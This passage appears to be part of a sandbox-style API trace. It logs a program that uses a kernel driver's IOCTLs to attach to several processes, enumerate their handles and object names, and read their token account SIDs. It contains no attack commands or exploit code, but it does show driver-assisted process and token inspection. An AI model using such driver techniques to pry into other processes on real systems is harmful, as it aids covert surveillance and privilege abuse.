ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800202a8e0, HandleInformation=0x0) returned 0x0 [0114.441] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.441] PsReleaseProcessExitSynchronization () returned 0x2 [0114.441] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0114.441] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.441] ObfDereferenceObject (Object=0xfffffa800202a8e0) returned 0x1 [0114.441] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.441] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.442] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.442] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0114.442] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.442] PsAcquireProcessExitSynchronization () returned 0x0 [0114.442] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880055905d0) [0114.442] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002117190, HandleInformation=0x0) returned 0x0 [0114.442] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.442] PsReleaseProcessExitSynchronization () returned 0x2 [0114.442] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0114.442] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.442] ObfDereferenceObject (Object=0xfffffa8002117190) returned 0x1 [0114.442] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.442] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.442] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.442] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.442] PsLookupProcessByProcessId (in: ProcessId=0xb20, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.442] PsAcquireProcessExitSynchronization () returned 0x0 [0114.442] KeStackAttachProcess (in: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002117b30, ApcState=0xfffff880055905d0) [0114.442] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.443] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.443] PsReleaseProcessExitSynchronization () returned 0x2 [0114.443] ObfDereferenceObject (Object=0xfffffa8002117b30) returned 0x10 [0114.443] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.443] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.443] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.443] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.443] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb30) returned 0xc0 [0114.443] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.443] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002098890, HandleInformation=0x0) returned 0x0 [0114.443] ObOpenObjectByPointer (in: Object=0xfffffa8002098890, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.443] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x12 [0114.443] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa800293a180 | out: TokenHandle=0xfffffa800293a180*=0xc8) returned 0x0 [0114.443] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.443] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.443] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.443] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.445] CloseHandle (hObject=0xc8) returned 1 [0114.445] CloseHandle (hObject=0xc0) returned 1 [0114.445] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.445] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.445] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.445] PsAcquireProcessExitSynchronization () returned 0x0 [0114.445] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff880055905d0) [0114.445] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020b0a80, HandleInformation=0x0) returned 0x0 [0114.445] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.445] PsReleaseProcessExitSynchronization () returned 0x2 [0114.445] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0114.445] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.445] ObfDereferenceObject (Object=0xfffffa80020b0a80) returned 0x1 [0114.445] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.445] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.445] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.445] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0114.445] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.445] PsAcquireProcessExitSynchronization () returned 0x0 [0114.445] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff880055905d0) [0114.445] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020b0330, HandleInformation=0x0) returned 0x0 [0114.445] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.445] PsReleaseProcessExitSynchronization () returned 0x2 [0114.446] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0114.446] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.446] ObfDereferenceObject (Object=0xfffffa80020b0330) returned 0x1 [0114.446] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.446] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.446] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.446] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.446] PsLookupProcessByProcessId (in: ProcessId=0xb30, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.446] PsAcquireProcessExitSynchronization () returned 0x0 [0114.446] KeStackAttachProcess (in: PROCESS=0xfffffa8002098890, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002098890, ApcState=0xfffff880055905d0) [0114.446] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.446] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.446] PsReleaseProcessExitSynchronization () returned 0x2 [0114.446] ObfDereferenceObject (Object=0xfffffa8002098890) returned 0x10 [0114.446] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.446] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.446] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.446] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.446] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb40) returned 0xc0 [0114.446] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.446] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800212ab30, HandleInformation=0x0) returned 0x0 [0114.446] ObOpenObjectByPointer (in: Object=0xfffffa800212ab30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.446] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x12 [0114.446] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa800293a180 | out: TokenHandle=0xfffffa800293a180*=0xc8) returned 0x0 [0114.446] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.446] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.446] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.447] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.448] CloseHandle (hObject=0xc8) returned 1 [0114.448] CloseHandle (hObject=0xc0) returned 1 [0114.448] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.448] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.448] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.448] PsAcquireProcessExitSynchronization () returned 0x0 [0114.448] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880055905d0) [0114.448] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020d6a20, HandleInformation=0x0) returned 0x0 [0114.448] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.448] PsReleaseProcessExitSynchronization () returned 0x2 [0114.448] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0114.448] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.448] ObfDereferenceObject (Object=0xfffffa80020d6a20) returned 0x1 [0114.448] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.448] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.448] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.449] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0114.449] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.449] PsAcquireProcessExitSynchronization () returned 0x0 [0114.449] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880055905d0) [0114.449] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020e47d0, HandleInformation=0x0) returned 0x0 [0114.449] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.449] PsReleaseProcessExitSynchronization () returned 0x2 [0114.449] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0114.449] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.449] ObfDereferenceObject (Object=0xfffffa80020e47d0) returned 0x1 [0114.449] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.449] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.449] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.449] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.449] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.449] PsAcquireProcessExitSynchronization () returned 0x0 [0114.449] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880055905d0) [0114.449] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.449] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.449] PsReleaseProcessExitSynchronization () returned 0x2 [0114.449] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0114.449] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.449] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.449] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.449] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.449] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.449] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0114.449] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.450] PsAcquireProcessExitSynchronization () returned 0x0 [0114.450] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880055905d0) [0114.450] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002164d10, HandleInformation=0x0) returned 0x0 [0114.450] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.450] PsReleaseProcessExitSynchronization () returned 0x2 [0114.450] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0114.450] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.450] ObfDereferenceObject (Object=0xfffffa8002164d10) returned 0x1 [0114.450] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.450] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.450] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.450] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.450] PsLookupProcessByProcessId (in: ProcessId=0xb40, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.450] PsAcquireProcessExitSynchronization () returned 0x0 [0114.450] KeStackAttachProcess (in: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800212ab30, ApcState=0xfffff880055905d0) [0114.450] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0020d7960, HandleInformation=0x0) returned 0x0 [0114.450] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.450] PsReleaseProcessExitSynchronization () returned 0x2 [0114.450] ObfDereferenceObject (Object=0xfffffa800212ab30) returned 0x10 [0114.450] ObQueryNameString (in: Object=0xfffff8a0020d7960, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.450] ObfDereferenceObject (Object=0xfffff8a0020d7960) returned 0x1 [0114.450] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.450] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.450] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb5c) returned 0xc0 [0114.450] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.450] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002144060, HandleInformation=0x0) returned 0x0 [0114.450] ObOpenObjectByPointer (in: Object=0xfffffa8002144060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.450] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x12 [0114.451] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa800293a180 | out: TokenHandle=0xfffffa800293a180*=0xc8) returned 0x0 [0114.451] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.451] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.451] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.451] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.452] CloseHandle (hObject=0xc8) returned 1 [0114.452] CloseHandle (hObject=0xc0) returned 1 [0114.452] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.452] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.452] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.452] PsAcquireProcessExitSynchronization () returned 0x0 [0114.452] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880055905d0) [0114.452] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001f98070, HandleInformation=0x0) returned 0x0 [0114.452] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.452] PsReleaseProcessExitSynchronization () returned 0x2 [0114.453] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0114.453] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.453] ObfDereferenceObject (Object=0xfffffa8001f98070) returned 0x1 [0114.453] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.453] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.453] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.453] 